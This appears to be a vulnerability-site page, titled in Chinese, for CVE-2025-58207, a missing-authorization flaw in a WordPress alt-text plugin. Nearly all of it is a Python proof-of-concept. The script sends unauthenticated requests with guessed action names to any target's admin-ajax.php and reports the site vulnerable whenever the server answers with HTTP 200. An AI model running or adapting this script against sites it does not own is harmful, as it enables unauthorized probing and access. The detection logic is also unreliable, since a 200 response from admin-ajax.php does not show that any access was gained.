CVE-2025-58207 WordPress Ai Image Alt Text Generator插件缺失授权漏洞

import requests import sys # CVE-2025-58207 PoC - Missing Authorization in ai-image-alt-text-generator-for-wp # Target: WordPress site with vulnerable plugin (<= 1.1.5) def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-58207 Missing Authorization vulnerability in Ai Image Alt Text Generator plugin """ # Plugin AJAX endpoint (common WordPress admin-ajax.php) ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Try to access plugin functionality without authentication # This exploits the missing authorization check payloads = [ # Payload 1: Try to access plugin settings/function { 'action': 'ai_alt_text_generator_action', 'nonce': '', 'image_id': 1, 'generate_alt': 1 }, # Payload 2: Direct plugin function call { 'action': 'ai_image_alt_generate', 'post_id': 1 } ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-58207 - Missing Authorization in ai-image-alt-text-generator-for-wp") for i, payload in enumerate(payloads, 1): try: print(f"\n[*] Testing payload {i}...") response = requests.post(ajax_endpoint, data=payload, timeout=10) # Check for successful unauthorized access if response.status_code == 200: print(f"[!] Potential vulnerability detected!") print(f"[!] Status: {response.status_code}") print(f"[!] Response: {response.text[:200]}") return True else: print(f"[*] Payload {i} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") continue print("\n[*] Vulnerability check completed") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-58207-poc.py <target_url>") print("Example: python cve-2025-58207-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)